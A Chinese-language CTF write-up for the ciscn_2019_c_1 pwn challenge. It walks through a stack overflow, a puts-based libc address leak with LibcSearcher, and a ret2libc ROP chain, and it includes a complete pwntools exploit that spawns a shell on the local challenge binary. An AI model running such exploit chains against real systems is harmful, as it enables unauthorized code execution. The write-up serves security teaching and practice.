入门Pwn的一道题,利用了构造ROP链和泄露libc地址getshell,对于新手来说比较全面,简单记录一下

先检查程序开的保护,开了NX,不能往buf里填shellcode了,没有canary,放心溢出

看一下程序的流程

简单分析一下,溢出点只能在encrypt里

s和rbp的距离为0x50,那么只需要在覆盖之后利用调用过的puts函数,将puts的真实地址泄露出来,再利用libc.so或者LibcSearcher莽出system和/bin/sh的地址就可以getshell了。泄露之后要让程序再执行一遍gets,这里我选择让他返回encrypt函数。

由于是64位的程序,所以要把GOT表中puts的地址放入rdi中,所以需要一个pop rdi的gadget

至此,可以写出exp了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//ciscn_2019_1_exp.py
from pwn import *
from LibcSearcher import LibcSearcher


sh = process('./ciscn_2019_c_1')
ciscn=ELF('./ciscn_2019_c_1')

puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
encrypt = ciscn.symbols['encrypt']
pop_rdi=0x400c83

payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(payload)

sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.dump('puts')

system_addr=libcbase+libc.dump('system')
binsh_addr=libcbase+0x18cd57

payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(payload)
sh.interactive()